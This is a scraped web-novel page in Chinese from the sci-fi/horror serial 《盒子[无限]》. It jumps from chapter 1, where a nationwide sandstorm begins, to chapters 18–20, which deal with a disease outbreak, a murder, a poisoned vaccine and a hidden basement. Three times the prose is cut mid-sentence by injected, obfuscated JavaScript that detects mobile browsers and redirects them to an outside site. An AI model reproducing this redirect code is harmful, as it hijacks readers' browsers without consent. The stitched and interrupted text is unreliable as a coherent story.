《盒子[无限]》 1. 是沙 《盒子[无限]》全本免费阅读 接到安姨电话的时候,苗晨刚刚下班回家。 他怔愣的看着家门口堆积得无法下脚的物品,一脸懵然。 随即电话里传来安姨爽朗的声音。 “晨晨,我在超市买了一点吃的给你,平时上班那么忙别忘记按时吃饭,尤其我不在的时候不能总是点外卖,那些预制菜食材不干净又不好吃的,每天晚上就让李司界过去给你做饭,反正你弟暑假闲着也是闲着。” 苗晨半是无奈的看着眼前安姨买的“一点吃的”,足足有十箱方便面和五个购物袋的瓜果蔬菜,足不出户都够吃两个月。 “安姨,李司界前天去导师家里帮忙了,说要住一周。” 苗晨善意提醒。 果然电话里的人一拍脑门:“哎呀我都忘了,那你等会给他打个电话,让他别待那么久早点回来,怎么能把你一个人放在家里。” 安姨宠溺的语气让苗晨脸色羞窘,他都二十五岁的人了,说到底在安姨出门旅游的时间,该是他好好照顾安姨的儿子李司界才对…… “我要登机啦,晨晨照顾好自己。” 苗晨连忙点头应好,电话那头传来切断的提示音后才放下手机。 然后垂眸望着这些关爱物品,笑着摇头。 撸起袖子认真地整理着门口堆彻的东西,苗晨并没有给李司界打电话。 催他回家是不可能催的。 李司界成绩优异,一个大三的学生就能被导师选中并参与到国家级的研究项目当中,是多难能可贵的机会,苗晨总不能因为自己不会做饭就把人给喊回来,只能说安姨对他的担心太过夸张了。 不过这几年来,好像一直如此。 苗晨把新鲜的蔬菜放进保鲜层,关上冰箱门,看着上面贴着的爱心便利贴,是安姨亲手写的多吃蔬菜四个大字。 笑着摘下贴纸,苗晨把它黏在手机壳背面。 像是安姨母子二人这些年来对他的照顾和关怀,始终形影不离。 俗话都说远亲不如近邻,这句话在苗晨二十五年的经历里实打实的验证着。 因为他和安姨只是邻里关系,两家做了小二十年上下楼的邻居,平日里朝夕相处得像亲人一样,哪怕是年龄比他还小的李司界,对他也是关心与谦让居多。 让苗晨在失去双亲的成年后,心中又有了两个无比牵挂的人。 心满意足的吃完一碗泡面,苗晨洗好碗筷,一如既往的打开电脑加班。 忙碌到窗外的月色朦胧,夜深人静之际,苗晨才坐在电脑前伸个懒腰,在半夜结束了一天的工作,然后起身去厕所洗漱。 眼前的生活仿佛是一碗平淡的清水,于苗晨而言简单又美好。 如今的他早就习惯了现在的工作节奏,和每天两点一线的往返公司,虽然在私企996的生活忙如死狗,但电商小公司报酬可观,苗晨便如同许多在大城市生活的小青年一样,没什么特别远大的抱负,能够自给自足安稳度日就是最好的现状。 当然,如果下个周末不加班的话,就更美好了。 恰逢电商的折扣日,让苗晨脚不沾地的工作了七天,连周末也加班到凌晨。 每天除了换不同口味的泡面吃,在电脑前一坐就是一整天。 只有在深夜忙中偷闲的时候,才能靠在椅背上休憩片刻,然后侧过头望向窗外如幕布般漆黑的夜色,和悬挂高空的一轮明月。 月色朦胧,本该散发着清澈柔和光照的月亮,此刻在眼前却像是笼罩着一层浑浊的昏黄色,让人看不真切。 苗晨凝神又盯了一会,眼睛都有些酸涩了。 他甩甩头,揉了下疲惫的双眼,起身续了杯咖啡,然后为自己的一双快要花掉的眼睛默哀。 没时间感慨职业病的严重,苗晨继续埋头工作。 …… 或许是辛勤耕耘通宵忙碌的打工人感动了上天,老板终于良心发现的给苗晨调休了两天假,让他如获大赦倒头就睡了个昏天黑地。 在床上一直赖到周二,苗晨才休息好精神。 而距离安姨出门已经过去十天了,休息日苗晨才想起来给李司界发送一条短信。 【忙完了吗?要不要我去接你?】 信息没有回。 苗晨也没有放在心上,放下手机起身整理明天去公司要开会的内容,还尽责的连夜赶出一个PPT。 可惜这份演示文稿没能得到发挥,因为周三一早他就接到居家办公的紧急通知。 刚刚起床的苗晨顶着鸡窝头,对于不用去公司坐班自然是高兴的,但也疑惑不已,因为像他们这种剥削人力的私企十分少见这么人性化的行为,除非世界末日到了,不然肯定是没日没夜的替老板赚钱为公司卖命。 苗晨盯着手机,新奇的以为今天太阳打西边出来了。 直到他拉开窗帘的那一刻,瞳孔微缩—— 是沙。 一片黄沙,其余的什么也看不见。 像是有一道浑黄的屏障将所有事物隔绝了一般。 一瞬间的惊讶过后,苗晨回过神来,顿时想到自己住在一楼,楼层低视野有限,平时下雾也是什么都看不清,或许二十楼以上的高层空气质量稍好能够用肉眼分辨一些事物。 苗晨拿着一片面包立即打开电视。 毫无疑问,所有新闻播报都是这场漫天黄沙。 但不正常的是,这场沙尘暴竟然是全国性的,除了几个海边城市幸免于难,内陆地区几乎沦陷。 苗晨嘴里叼着面包片,一连播了十几个台,再次确认了这个令人惊掉下巴的事实。 一夜之间,国内各地都刮起了史无前例的巨大沙尘暴,气象局也没有解释出为什么会突发这种怪象,循环播放的只有一些对于防范风沙的基础措施。 苗晨微微皱着眉,桌上手机不断震动,他低头看着公司群内同事们无比欢快的聊天内容。 【哇塞,是不是世界末日啦?好激动,我要见证历史!!】 【什么世界末日,顶多刮三天沙子,又不是没见过沙尘暴,看把你激动的。】 【别的我都不关心,只要能一直居家办公就行。】 【居家办公真香,不过这次沙尘暴是有些夸张,从来没有这么大面积的刮过啊……】 【以前南北极还没有冰川融化呢,这种极端天气习惯就好,地球可不是围着人类转的。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12169558|128708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手环胸大喇喇的坐在椅子上,张嘴就来了一句。 “老子能有啥办法啊,这地下室又不是我挖的,他不相信咱说得话也没辙啊,总得先答应下来把后面几针疫苗稳住,之后再想办法呗,不然咱几个别说什么地下室,连小命都不保。” 苗晨&小熊:…… 有时候史同莫名的自信着实能唬人,连苗晨都险些信了。 这一波赶鸭子上架让几个人又把宠物店翻了个遍,当然一无所获,连晚上做梦都是找地下室的情节桥段。 不过好在这一晚是平安度过,没有再听到诡异的声响。 七月三号的早晨,市内的天格外阴沉,上午九点钟就开始阴雨连天,淅淅沥沥的小雨不停,昏沉的天色令人十分压抑。 苗晨看着玻璃门外灰色的天空,心里隐隐有种不好的预感,总觉得是要发生什么的前兆。 果然中午三人啃完方便面后,史同在门口抽烟抽到一半,突然怪叫一声的跑进来,把自己的手机递给苗晨和小熊看。 “卧槽!你们快看今天的新闻,这是不是那个大老板?!” 苗晨接过手机把新闻里的照片放大,小熊也凑了上来。 高清照上的中年男人穿着一身笔挺的西装,背景好像是私人医院的高级病房里,他手中拿着一块朗姆巧克力,脸上是满足的笑容,但照片黑白的颜色和血淋淋的长标题却让人感到刺目。 “市内最大房地产商李总的儿子在昨日凌晨三点去世,同日凌晨四点李总于病房内自杀。” 看完这个题目,苗晨眉头紧皱,新闻的详细内容都不忍心再看。 一旁的小熊非常震惊,她不能理解道:“怎么会这样,他为什么要自杀,难道看不出这里根本不是他原本生活的世界吗?” “哎,他给的烟我还没抽完,人就这么没了真是可惜。” 史同一边叹息感慨,一边翻看着中年男人的身前伟业,越看越惊讶:“这个李总不是一般的厉害啊,市内60%的楼盘全是他开发的,连咱们住得小区都是他的产业。” 他们住得小区?不对…… 苗晨一愣:“我记得那个开发商老板的儿子在读书时就意外去世了。” 而且这已经是将近四年前的事情,当时在市里闹得沸沸扬扬,几乎人尽皆知,因为在他儿子去世后紧接着他的妻子也因悲伤过度离世,不少人都传这个老板是克妻克子的命,却没想到传闻中的人会是那个面色和善的中年男人。 苗晨不由得回想起见到男人最后一面时,他说的那句话: ‘我以为自己打开那个潘多拉的盒子穿越到现在,是见证阖家幸福,没想到却是家破人亡。’ 确切的说,是第二次家破人亡。 所以他才承受不住巨大的压力,选择在这个陌生的世界了断自己的生命吗? 或许在哪里都不重要了…… 他想结束的也不是生命,而是埋藏在心底多年的痛苦。 “——晨哥,史叔。” 小熊掏出兜里的巧克力,她捏紧锡箔包装纸,睁着一双微微空洞的眼睛,喃喃开口。 “我好想回家。” “我们真的还能回去吗……?” 19. 雏菊 小姑娘□□了这么久的心,在这则选择与家人同生共死的新闻面前也有些绷不住了。 或许是想到患病未愈的母亲没有自己在身旁照顾,或许是得不到家人好与不好的一丝讯息,或许是被困在这个地方始终找不到出路……小熊咬着牙,原本要强的小女孩一时间泪如雨下。 史同上前想说些开心的逗逗她,苗晨却摇摇头。 “没关系,有情绪发泄出来就好了。” 他低头看着左手手腕上那块冰蓝色的表盘,指针围绕着深褐色的齿轮转动。 会回家的,会回到自己的家人身边。 他也一定会找到李司界。 …… 三号的晚上,宠物店内寂静无声。 时至九点钟,说要带着疫苗前来的廖医生没有出现,花臂男也同样没有来。 苗晨给廖医生打了电话对方没有接听,在他想去诊所查看情况的时候发现已经出不去宠物店了,三个人只能继续留守在店内。 这一晚苗晨强迫自己没有睡沉,怕错过地下传来的细微声音,可惜的是今晚依旧没有任何异动,让苗晨不禁怀疑是自己和小熊前些天真的出现幻觉听错了。 七月四日的早上,苗晨第一个起来走到门外透气。 他先是打了“陈教授”的电话,无人接听,又打了廖医生的电话,也无人接听。 苗晨不得不放下手机,抬头看着空荡荡的街道,市里的人已经越来越少,或者说是活人越来越少了,只有市中心的钟还在不停歇的转动,肃静得街道像是起义后被清扫的战场。 转身回到宠物店,苗晨看着还在睡觉的史同和小熊,打开背包拿出面包片,拉链和塑料包装袋的摩擦声让他的动作倏然停下。 不对,太安静了,安静到连史同的呼噜声都没有。 苗晨骤然起身,走到史同身边,看着他有些过于红润的面色皱起眉头,拍了拍他的肩膀。 “史哥,醒醒。” 好在史同哼唧了一声,半梦半醒的摆摆手,哑着嗓子道:“再躺会再躺会,老子头疼。” 另一边的小熊听到声音后,迷迷糊糊的坐起身,她眼睛还微微红肿着,脸上也浮现着不正常的一片红晕。 费力的睁开眼,小熊唤道:“晨哥,我好像发烧了。” 不是好像。 苗晨看着他们两个几乎一样火烧云的面色,立即一左一右的搀扶着两人起来,拖拽着他们走出宠物店。 “走,去诊所。” …… 到达尚民诊所的时候,意外的发现诊所内的人已经没有之前那么多了,一楼大厅内还在输液的寥寥无几,病床上也只躺着一个病人。 苗晨让发着低烧的两人坐在椅子上,他走到隔壁诊室,看到了趴在桌上补觉的廖医生,和他放在一边已经静音的手机。 敲了敲门,苗晨唤醒正在睡觉的人后说道:“史哥和小熊低烧了,是输液还是吃药?” 廖医生面无表情的拿起桌上的眼镜戴好,他头都没抬,带着还未休息好的疲累靠在椅子上。 “随你们喜欢,没有差别。” 尽管知道病发后的一切治疗手段都是徒劳,苗晨依然选择道:“开药,打退烧针。” 只要能让他们好受点就可以。 廖医生起身拿了药,给史同和小熊各打了一剂退烧针。 他一边擦着手,一边转头看向苗晨:“他们两个今天已经没有必要接种第二针疫苗,但你还可以。” 苗晨没有说话,他思考着接种疫苗的必要性,同时也知道廖医生这样说是有目的性的。 史同见他犹犹豫豫,立即说道:“必须打啊!小晨你糊涂了啊,这还有什么好想的,咱们现在能保一个是一个!” 小熊也劝道:“对呀晨哥,现在只剩下你和廖医生没事了。” 看着两人急切的样子,苗晨这才没有犹豫。 “好,我打。” 廖医生走进诊室内配药,拿着疫苗针走出来后,他出声提醒道:“别忘了我们之前的交易,今晚我要进到地下室亲自查看情况。” “行行行别废话了,赶紧打。”史同催促。 苗晨清楚廖医生没有那么信任他们,同时他也没有那么信任对方,但至少苗晨不会欺骗他。 不用廖医生一而再再而三的强调,苗晨只要找到地下室入口自然会通知他,找不到入口他就算来了也无济于事。 撩起左臂的衣袖,苗晨把整条胳膊裸-露出来。 廖医生的针快狠准,基本没有感受到疼痛,很快一管疫苗就推送进大臂的位置。 “嚯,你还有纹身啊?” 史同调侃了一句,他这句话也让小熊投来好奇的目光,她仔细看了看,询问道:“这是小雏菊吗?” 苗晨按着针眼的地方,低头看了一下位于医用胶布上方的红色印迹,的确很像一朵盛开的小花。 “不是纹身,是胎记。” 史同嗐了一声:“差点以为是你叛逆期时纹的前女友名字,什么王菊杨菊的。” 小熊忍不住噗嗤一笑。 苗晨很无奈的放下衣袖,遮挡住红色的印迹,顺便打破了史同的幻想。 “恐怕让你失望了,我没谈过女朋友。” 史同一边瞠目结舌,一边转头问小熊:“这种人用你们学生的话叫什么来着,母什么喽?” “母胎solo。” “对对对,母胎嗖喽!” 两人说完顿时哈哈一笑,一点不像是低烧乏力的模样,看得苗晨简直哭笑不得,任由他们把自己当做笑料包,至少现在有说有笑的神态让苗晨早上的那份揪心也平静下不少。 四下张望了一圈,苗晨问向屋内的廖医生:“护士在哪?” 廖医生指着楼梯:“二楼。” 既然已经来了,苗晨起身准备上楼看望一下她。 他小心翼翼的走上木质楼梯,不敢发出太大的动静怕惊扰到患病的女护士,然后静静地站在楼梯口的位置,看着二楼的小客厅窗帘紧闭漆黑一片,只能隐约分辨出沙发上躺着一个人,旁边悬挂着一个氧气瓶在输氧。 患者怕光惧风,苗晨没有开顶灯,而是打开电脑桌上的小台灯,昏黄的灯光照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12200826|128708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 射下,终于看清了沙发上的人—— 女护士披头散发面色蜡黄的躺在那里,短短两天不见整个人已经瘦得脱相,暗沉的灯光都遮挡不住她干瘪皮肤,像是缺失水分被晒干的橘子皮,褶皱在一起显得人衰老了几十岁。 早已做好心理准备的苗晨,看到女护士的样子后仍是心中一紧,前天廖医生还说过她是病发的第一阶段,今天竟然就已经发展到这个模样,恐怕已经是第三阶段了。 苗晨默默叹了口气,没有打搅正在安睡的女护士,站起身正准备离开,突然听到啪的一声响。 沙发上的人猛地睁开双眼,她睁着浑浊的眼球空洞无神,抬手一把扯下自己的输氧管,然后哇的一声俯身在沙发边开始疯狂呕吐,吐出来的根本不是食物,而是一滩滩黄色的胆汁和血。 苗晨见状立即跑到楼梯口:“廖医生!” 在楼下听见声音的廖医生迅速上楼,同时他手里还拿着一根粗壮的医用捆绑带,看到女护士狂吐不止身体还伴随着剧烈的抽搐,廖医生直接给她打了一针镇定剂,然后动作娴熟的把人捆绑在沙发上,女护士像是一只失去理智的动物,从喉咙里发出痛苦的呻吟,四肢也在捆绑带的约束下扭曲成畸形。 苗晨皱紧眉头,不知道什么时候跟着上楼看到这一幕的史同和小熊同样面色十分难看。 廖医生解决完女护士发病的问题后,转身走下楼梯。 “如果不想她被刺激到再次发病,你们最好下楼。” 苗晨三人没有多做停留的回到一楼,史同更是直接快步走到诊所门口,推开门道:“走了走了,老子不想跟这待。” 苗晨一愣:“可是如果再发烧或出现其他症状——” “不是拿药了吗,再说这治标不治本的有啥用啊!不如让老子在外面想干嘛干嘛,至少不用像个神经病一样被绳子绑着,心情好了说不定还能活久点。” 小熊听了也跟上去:“我赞同~” 苗晨顿时无话反驳,连廖医生都靠在诊室门口开始送客。 “今晚我会准时过去。” 几人在诊所还不到两小时就离开,打车重新回到宠物店后就围坐在前台。 谁也没有再说什么找地下室的话,而是胡吃海塞天南海北的闲聊了一下午的时间,在不去思考和焦虑现下处境的时刻,心情竟然是来到这里后过得最开心舒爽得半天。 晚上断断续续发烧的史同和小熊早早的歇下,苗晨把水都藏到了黑色塑料袋里,包括自己的那瓶。 在静候廖医生前来的时候,苗晨始终守在前台,直到八点五十八分他听到宠物店的玻璃门外好像有动静,随后轻微的一声门框响,让苗晨狐疑的站起身去门口检查。 门外并没有廖医生的身影,苗晨推开门,推到一半却有一道阻力,低头才看见门口竟然躺着一个人,那条裸露的右臂上满是熟悉的青龙纹身—— 花臂男! 苗晨迅速蹲下身将他的身体翻过来,看着他脖子上和脸上的模糊不清的血迹后眉头一皱。 然后谨慎的伸手在他鼻息间一探。 没有呼吸。 20. 嗡鸣 花臂男死了。 刀口在脖颈的大动脉上,是一场板上钉钉的故意杀-人。 闻声而来史同和小熊看到地上的人都惊呆了,这一幕有点吓到了小姑娘,原本因为低烧的脸色更难看了几分,别说小熊一个女高中生,就连史同看到有人横死街头也得惊讶唏嘘,毕竟在二十一世纪的法治社会待久了,谁也没有面对这种突发情况的经验。 “是谁杀了他?” 小熊回过神,小心翼翼的开口。 苗晨摇摇头:“不知道,也没有看到其他人。” 史同拽过货架上的宠物湿巾,把花臂男脸上和脖子上的血迹擦掉,又检查了一下伤口。 “啧,刀口不大倒是挺深,不用猜了,像他们这种道上混得滚刀肉都有不少仇家,被枪子儿崩死也不算稀奇。我觉得他这样不痛不痒的没了挺好,总比狂犬病发作被折磨得不成人样最后还活生生疼死得强。” 听完史同这套话,小熊竟然配合的点了点头,连看到尸体后的惊吓感都淡了不少,还赞同道:“有道理呀。” 是有什么道理了? 苗晨无奈的掏出手机,把花臂男脖子上的致命伤拍下来,然后接连拨打了警察局和殡仪馆的电话,等待过来收尸的人。 然而三人站在门口吹着风等了快半个小时,也没有等到一个警察和殡仪馆的车,甚至张哦能五点门口萧瑟的街道上只有路灯亮着冷白色的光,连一个路过的行人都看不到。 “说它是鬼城还真是鬼。”史同嘁了一声。 苗晨看了眼九点多的时间,提醒道:“我们得进去了。” “那他怎么办?”小熊指着地上的尸体。 “真是麻烦,生前跟老子呛声,死后还得老子给你收尸,阎王爷面前你也得给我美化两句。” 说着史同十分不情愿的动手把花臂男拖到了宠物店门口的货架旁,连让苗晨搭把手的时间都不给,他这一通动作做完虚弱得直接蹲在地上喘粗气。 “史哥,你对他挺好的。”苗晨赞赏着史同的人品。 拖着病体都要给人收尸,这哪像是之前有过节的人? 小熊肯定:“史叔是大好人。” 史同:…… “你俩能不能闭嘴。” 把花臂男的尸体用布盖上后,这一晚直到宠物店关门廖医生也没有如约前来,倒是让苗晨省去了应对他的时间。 而三人一尸共度的这个夜晚,反而没有前几晚那么心惊胆战了,也没再忧心半夜会不会有怪异的声音,或许是连跟死人共处一室都没什么可怕的,对于其他的事情也一并看开。 不过苗晨始终没敢睡死,他时刻注意着史同和小熊的身体情况,果然后半夜的时候,两人又开始反复发烧起来,温度也逐渐升高,苗晨没有喊醒他们,而是把退烧贴贴在两人额头,又多加了几个毛毯。 等了一段时间物理降温效果不明显,在不得不吃退烧药后,苗晨把药片磨碎成粉末,掰开两人的嘴角强行喂进去,不敢以水给他们服用,只能让药沫顺着唾液吞下。 断断续续折腾了两三个小时,五点多苗晨才睡着,早上八点多再醒来时,发现两人暂时退烧了也让他松了口气。 七月五日。 女护士病发的第五天(三阶段),史同和小熊病发的第二天(一阶段)。 苗晨在手机备忘录里记下详细的时间和阶段症状,然后关闭备忘录打开通讯录,继续尝试拨打“陈教授”的电话,依旧是无人接听后,苗晨起身看了一眼门口花臂男的尸体。 十几个小时过去,他的身上已经开始浮现一些不规则的尸斑。 苗晨开门通风,又给殡仪馆打了电话,殡仪馆的工作人员却说焚尸炉有限,现在市里焚尸需要排队到下个月……苗晨默默地挂断了电话。 “小晨,昨晚我俩又发烧了?” 睡醒的史同摘下额头的退烧贴,扶着前台的桌子站起身,他脸色比昨天差了许多,声音也有些沙哑起来。 小熊没比他好多少,醒来后就频繁的头疼,连站起来的力气都没有,身体软绵绵的歪在椅子上。 苗晨嘱咐道:“你们今天多休息,保存好体力和精力。” 这个病现在只能扛,扛的时间越久越能多一线生机。 苗晨很怕自己也会随时倒下,到时候就真的叫天天不应叫地地不灵,没有照应的人不说,拖着病体连出口都不可能找到。 “辛苦你了,晨哥。” 小熊抬起头,笑了一下:“等出去了请你和史叔吃饭。” 史同听了也笑道:“就知道吃,出去说不定你就翻脸不认人,假装不认识我们了。” “叔你太偏见,未成年也是言而有信的。” “行,那老子可就记着这笔账了。” “先说好请二百块以内的。” “啥?头一回见着请客还带限制消费金额的??” “穷学生钱少嘛~多体谅体谅。” “二百块还不够你叔塞牙缝儿的!” …… 听着两人你一句我一句的怼着,苗晨表面轻松一笑,身上的担子却跟着一沉。 中午几人垫了几块面包,下午苗晨一个人默默检索着信息,看了各个平台上的新闻,拟定着计划,继续翻找着店内已经看过无数遍的宠物用品。 来回来去的查找是疲惫又消耗耐力的,尤其是在什么有用的线索都找不出来时,深深的无力感充斥着整个胸腔,让苗晨也变得焦虑不已。 因为时间不等人,他担心史同和小熊的身体会每况愈下。 苗晨已经想过如果明天还是一无所获,就用史同的粗暴办法,直接把宠物店一楼的地板挖穿,挖不动就炸穿,至少还能炸出一条通往地下室的路来。 他现在就是在赌,赌这个世界的出口就在那里。 晚上六点钟,让苗晨另一个头疼的人来了,廖医生终于现身在宠物店。 他先是看到了门口花臂男尸斑严重的尸体,蹲下身职业病发作的做检查,然后断言道:“伤口五厘米,深度至少十厘米,一刀毙命。” 鉴定完伤势,廖医生走到前台,看了一眼坐在椅子上病容明显的史同。 “伤口形状很符合你的瑞士军刀。” 史同哼笑一声:“你怎么不直接说人就是老子杀的?” 没想到廖医生点了头:“很有可能,听说你和他还有过节,存在杀人泄愤的动机。” 小熊听到这话不满的反驳了一嘴:“史叔一直跟我和晨哥在一起,不可能杀人。” 苗晨也皱眉道:“廖医生,开玩笑要有个度。” “我没有开玩笑。”廖医生扶了下眼镜,目光中不掺杂一丝情感的说道:“我是在理性分析80%的可能性。” “嗯,的确存在这种可能,但绝不是80%。” 苗晨语气平和,声音冷静:“如果这样推测廖医生的嫌疑也不小,刀口的长度和深度同样符合手术刀的标准,对人体大动脉的拿捏也精准到位才能做到一击毙命,而且史哥至少有两个人证在,廖医生恐怕一个人证都没有,四-六开的局面对廖医生是不利的,还要继续分析下去吗?” 这一段话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12223184|128708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,廖医生重新打量了一遍平时话不多又看似温和的苗晨。 史同笑了一声,忍不住吹了个口哨:“帅啊小晨,没想到你说话也会一套一套的,让老子都开眼了。我说那个姓廖的,你今儿来不会就是想给我扣锅吧,闲得慌啊你?” 廖医生没有理会他,而是直接问道:“地下室的入口在哪?” 该来的还是来了,苗晨抢在史同说话前开了口,并且没有对他隐瞒。 “入口还没找到,我们也没有下去过,不管你信不信这都是事实。” 廖医生闻言忍不住笑了一声,嘲讽的意味居多,他摇摇头:“你们果然还在骗我,也幸好我留有一手。” 见他依旧不信,苗晨眉头紧蹙:“骗你对我没有任何好处。” “原来你知道没有好处?可惜已经晚了。” 廖医生的话让小熊疑惑道:“什么意思?” 三人都在等着他的回答,可廖医生在说完这句话后神情变得逐渐不对,他的呼吸也越来越粗重起来,脸色浮现出不正常的一片红色,他仿佛控制不住自己一般,抬手用指甲使劲挠了几下脖子,瞬间皮肤上多出数道红痕。 苗晨惊讶的看着他的一举一动。 “你病发了。” 话音刚落,廖医生忽然停下动作,他极力控制着自己有些痉挛的面部肌肉,然后说道:“对,我两天前就病发了,你为什么还没有病发?” 苗晨眉头微皱,不明白他的意思。 他布满红血丝的眼睛透过镜框紧紧盯着苗晨:“你在地下室找到了这个世界狂犬病的解药是不是?你诡计多端故意瞒着所有人,连你的同伴都被你蒙在鼓里毫不知情,你想眼睁睁的把我们全部害死在这,他们竟然还敢相信你这个卑劣的伪君子,快说地下室的入口和解药都在哪?!” “你疯了。” 苗晨根本不知道他在说些什么,简直像是失了智。 史同反而气得青筋暴起:“狂犬病哪来的解药,你踏马一个医生这点常识没有张嘴就胡说八道?!” 廖医生从喉咙里发出两声冷笑:“他早就猜到所有人都被感染了病毒,你觉得他为什么会知道这些,在这个地方讲常识的人才是智商有问题。我告诉你,他本该在昨天那针‘疫苗’后病发,并且48小时内必定身亡,可今天他还安然无恙的站在这里足以说明一切,两个蠢货。” 昨天的疫苗有问题? 小熊震惊得骂道:“居然用这么下三滥的手段害人,你才是伪君子,是小人!” 苗晨同样震惊得愣在原地,他想过廖医生会防备着自己,但没想到他会直接对下此狠手。 “敢骂老子是蠢货,今晚就得削你!” 史同咒骂着站起身,原本酸软无力的身体被气得也来了劲,抄起自己随身携带的电棍,朝着廖医生的方向就挥了过去。 廖医生顿时被一个结实的闷棍掀翻在地,史同顺势骑在他身上,扬起电棍就挥第二下,却被廖医生反应及时的翻身躲过,两人一时间在狭小的前台扭打在一起,一旁货架上的宠物用品都被波及在地。 苗晨正准备上去劝阻的时候,地板突然间摇晃起来,像是地震一样整个宠物店发出轰隆的嗡鸣,顶灯和货架全部震颤摇动起来。 不知道发生什么情况的几人四下张望,苗晨连忙扶着小熊起身,史同也撑着棍子躲在一旁,随即就听到前台桌子的下方,出现了剧烈的震动和吱呀的声响。 原本白色的瓷砖倏然向下凹陷,缓缓地向两侧移动,一条漆黑的通道逐渐映入眼帘。 地下室打开了!